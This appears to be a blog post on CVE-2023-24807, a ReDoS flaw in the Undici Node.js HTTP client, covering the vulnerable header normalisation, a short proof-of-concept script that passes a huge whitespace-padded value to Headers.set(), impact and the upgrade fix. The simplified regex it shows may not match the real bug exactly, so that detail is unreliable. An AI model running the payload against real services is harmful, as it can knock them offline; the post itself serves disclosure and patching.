CVE-2023-24807 - Undici HTTP Client Regex Dangers — Understanding and Exploiting the ReDoS Vulnerability
Undici is a widely-used HTTP/1.1 client for Node.js. In early 2023, a high-profile vulnerability was discovered in its Headers.set() and Headers.append() methods: CVE-2023-24807. This vulnerability exposes applications using Undici (prior to version 5.19.1) to Regular Expression Denial-of-Service (ReDoS) attacks. Even trusted platforms can face significant slowdowns, creating a massive headache for backend developers and users alike.
In this post, we're going to break down what happened, why it's dangerous, how it works, and how you can test for or exploit the vulnerability (for educational purposes only). You’ll also see code snippets, references, and essential tips for securing your Node.js applications!
What is the CVE-2023-24807 Undici Vulnerability?
Undici is designed to be a fast, reliable HTTP client for Node.js. To keep headers safe and standardized, Undici uses the headerValueNormalize() function when you interact with headers via Headers.set() or Headers.append().
The Problem:
The normalization function uses an inefficient regular expression — and if you pass an untrusted value crafted just right, it can take a very long time to evaluate. This opens the door to a classic ReDoS attack, where an attacker intentionally causes excessive CPU consumption.
Fixed In: 5.19.1
- Official Advisory: Undici Security Advisory GHSA-pp86-xxm9-x782
- NPM CVE Entry: CVE-2023-24807
How Does the ReDoS Attack Work?
The vulnerable code is in the headerValueNormalize() function. The regular expression is called on any value you add to a header, but badly-formed regexes can cause problems — especially with crafted input. Here’s a simplified version of the buggy logic:
function headerValueNormalize(value) {
// Vulnerable: using regex to clean/validate the value
return value.replace(/^[ \t]+|[ \t]+$/g, '');
}
This regex is supposed to trim whitespace at the start or end of the value, but its inefficiency means a cleverly-crafted value (like a long string of whitespace followed by non-whitespace) can trigger extremely slow processing.
Exploiting the Bug: Proof-of-Concept Code
To trigger a denial of service, you just have to pass a string with a pattern that causes excessive backtracking. For example, a huge string starting and ending with spaces:
const { Headers } = require('undici');
// Generate a long header value with spaces
const payload = ' '.repeat(50000) + 'malicious-content' + ' '.repeat(50000);
const headers = new Headers();
console.time('ReDoS');
headers.set('x-custom', payload); // This will take a long time to process!
console.timeEnd('ReDoS');
Expected Output:
On a vulnerable Undici version, this script will hang for a noticeably long time since the regex is overwhelmed.
Impact: Real-World Risks
- Denial of Service: Any API endpoint or microservice using Undici’s header methods with data from users is vulnerable.
- No Workaround: There’s no way to safely sanitize input at the application level — the bug is inside Undici.
- Node.js Ecosystem Threat: Many backend and proxy libraries depend on Undici, multiplying the risk.
Protecting Your App (Mitigation)
There is no reliable workaround for this bug. The official recommendation is upgrade Undici to version 5.19.1 or higher as soon as possible.
npm update undici and double-check your indirect dependencies too!
References
- Undici Security Advisory
- CVE-2023-24807 @ NVD
- Undici Changelog
- Regex Denial of Service Explained
Timeline
Published on: 02/16/2023 18:15:00 UTC
Last modified on: 02/24/2023 18:38:00 UTC